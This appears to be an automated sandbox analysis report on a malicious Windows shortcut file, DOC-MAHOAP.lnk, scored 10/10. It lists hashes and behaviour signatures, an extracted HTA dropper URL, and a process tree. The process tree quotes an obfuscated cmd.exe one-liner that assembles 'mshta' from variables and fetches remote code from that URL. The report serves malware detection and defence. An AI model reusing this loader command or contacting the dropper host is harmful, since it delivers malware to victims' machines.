Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 12:59
Static task
static1
Behavioral task
behavioral1
Sample
DOC-MAHOAP.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-MAHOAP.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-MAHOAP.lnk
- Size 1KB
- Sample260803-p8f8tabm7v
- SHA256 c91f737b864e164d508b84b86cfdb76fec206c736b4b374882021c5543629ee8
- MD5 63445cb2e07791fe33216fb9c29e88c6
- SHA1 c95a4d0c0ee98bf1d6896a26976153a2f6e937b1
- SHA512 61a68fc08ee938ee1dc1671c5d9a9bc27013a228abc9b3771b68a54e5a2de048a9ed7d82688b3631098ef0f33283ce4afcf65bddf85dac09915d6d7c7f7fcd7f
- TLSH T1913197102EFE0A18F3F79E7384BB571484BBB9969E21CA1D0040464C1422A04E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2128 cmd.exe 3392 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2128 wrote to memory of 3392 2128 cmd.exe 90 PID 3392 wrote to memory of 796 3392 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-MAHOAP.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set bAON=msh&&set QuMx=ta&&start "" !bAON!!QuMx! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3392 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:796
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